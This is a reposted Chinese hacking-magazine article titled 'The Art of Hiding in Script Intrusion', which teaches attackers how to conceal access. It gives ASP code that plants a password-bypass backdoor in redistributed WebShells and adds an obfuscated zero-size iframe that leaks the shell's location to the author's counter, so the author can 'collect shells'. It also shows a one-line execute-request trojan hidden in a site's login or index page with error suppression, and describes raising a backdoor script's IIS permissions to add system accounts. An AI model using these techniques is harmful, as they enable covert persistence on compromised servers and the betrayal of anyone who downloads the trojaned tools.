文章详情

  • 游戏榜单
  • 软件榜单
关闭导航
热搜榜
热门下载
热门标签
php爱好者> php文档>脚本入侵中隐藏的艺术

脚本入侵中隐藏的艺术

时间:2010-11-30  来源:summer

本篇文章源自《黑客防线》2007年10月刊
转载请注明版权

作者:cn_判官(summer)
 

 

作为网络安全爱好者,在平时的生活中,我们或多或少都会对一些网站进行安全检测,但是在无数的入侵检测中,体会到了其中隐藏的艺术吗?
说到隐藏,大家会想到IP隐藏,地理位置隐藏,更会想到跳板、代理之类的,这些都是广义的隐藏,我今天给大家说一说狭义的隐藏。



踏破铁鞋无觅处,得来毫不费工夫
现在网上的WebShll的种类千千万,看看老兵、海洋某某的Shell广为流传,好是羡慕,然后大家又把他们的作品加以修改,发布出去,就出现了某某专版。
今天在家闲着无聊,突发奇想,如果在我的修改版本WebShell中加入我的后门的话,那么使用我的Shell的人最终拿到的权限,不就为我而拿了?大有一种坐享其成的感觉。构想完毕,下面就看看怎么实现吧。


大家知道,一般的WebShell里都有密码验证机制,就是说只有Shell的主人可以使用这个Shell,我们今天就拿比较经典的老兵的代码研究一下,代码如下。 

 

if session("webadmin")<>userpass then   //判断密码的正确性   if request.form("pass")<>"" then   //判断是否为空   if request.form("pass")=userpass then   //如果正确   session("webadmin")=userpass   //建立session对象   response.redirect url   //通过验证   else   response.write"验证失败!"   end if   

    
以上的代码就是老兵的验证代码。大家一眼就能看出来,老兵的Shell使用的是Session验证机制,即如果你输入了正确的密码,那么就赋予你这个session,也就是建立这个Session对象。大家可能会把Session 和Cookies混淆了,我在这里简单说一下。
Cookies把客户的信息保存在客户端,只要在Cookies的生存期内,客户的这些信息都存在。而Session是维持一个客户的会话信息,Session数据值存在客户开始使用应用程序到离开应用程序期间,只要客户离开应用程序,那么Session的值也就不存在了。
明白了这些,我们就应该清楚,如果想绕过密码的限制,我们可以这样构造思路:访问其中一个特定的页面,不用输入密码就建立Session对象,从而跳过密码验证机制。有了思路就好办了,在以上的密码验证代码的上面加入以下代码:
 

 if request("p")="p" then   //如果提交的变量是pp=p(自己定义的后门)   session("webadmin")=userpass   //直接建立session对象   response.redirect url   //成功绕过密码检测机制   end if   


关于request的用法,我就不多说了,大家参照以前的杂志即可。
现在我们已能成功跳过密码验证了,但我们还需要知道WebShell的地址才行。我想了个办法,通过流量统计系统。比如大家知道的5.la,把统计代码插入到Shell中。嵌入代码也要建立一个隐藏的思想,比如“ <iframe src=http://www.5ihacker.com.cn width=0 height=0></iframe>”,我们可以把地址转换为“%77%77%77%2E5%69%68%61%63%6B%65%72%2E%63%6F%6D%2E%63%6E”,之后用以下的方式来构造语句。

 

<%   p1="<IFr"   p2=” AmE sr”   p3="c=HTT"   p4="P:// %77%77%77%2E5%69%68"   P5="%61%63%6B%65%72%2E"   P6="%63%6F%6D%2E%63%6E"   P7" width=0 heigh"   P8"t=0></IFrAmE>"   response.write(p1&p2&p3&p4&p5&p6&p7p8)   %>   


大家也可以根据自己的喜好,把代码进行更深一层次的打乱,并插入到脚本文件的各个地方,从而起到一个更好的欺骗效果。觉得怎么样?是不是比其他的方法隐藏得更深?用这样的方法可以躲过许多人的视线,思维是活的,大家可以随意发挥。


最后再对其进行整体加密,当有高人拿到WebShell并且访问了这个Shell后,那么这个WebShell地址就会被统计,你要做的就是定期去收Shell!

 

不易觉察的危险
这种隐藏方式适用于你入侵完网站之后,再给自己留一个后门。这里用到的是一句话木马,我很喜欢用它,是因为它小巧精干。比如我们可以在入侵网站拿到了WebShell之后,由于WebShell体积庞大,经过细心的管理员仔细查找,以及杀毒软件的查杀,一般都会被发现清除。所以,我们应该防患于未然,比如在/admin/login.asp,甚至也可以在/index.asp里插入一句话:<%execute request("value")%>。不过直接这样做,页面会提示脚本错误,我们为了隐蔽,加入如容错语句<% On Error Resume Next %>,即组合成:<% On Error Resume Next %><%execute request("value")%>,这样这个页面就被我们神不知鬼不觉地留下了后门。如果我们的WebShell被删了以后,直接用一句话木马的连接端连接上去就可以了。
这样做的好处是,代码体积小,插入到一个脚本文件中,很难被发现。大家可以开动脑筋,对代码进行变形,进一步地起到隐藏效果。

 

小Shell中的大权限
如果你拿到了服务器的系统权限,也就是你登入了3389终端以后,通过IIS设置,给你的muma.asp(也就是你的后门脚本文件)给予最大的权限,如果你的3389帐户被管理员发现了,或者是其他原因帐号登录不了3389终端了的话,就可以使用这个muma.asp执行cmd命令达到添加帐户的目的。通过IIS设置权限的方法,以前提过,我这里就不重复了,大家可以参考以前的杂志。


其实隐藏的艺术还有很多,我只说了冰山一角,剩下的就留给大家在今后的学习中慢慢发掘体会,逐渐品尝隐藏的艺术吧。
 

标签分类:

相关阅读 更多 +
排行榜 更多 +
泡龙大闯关安卓版

泡龙大闯关安卓版

冒险解谜 下载
割草派对安卓版

割草派对安卓版

飞行射击 下载
堡垒攻防战安卓版

堡垒攻防战安卓版

飞行射击 下载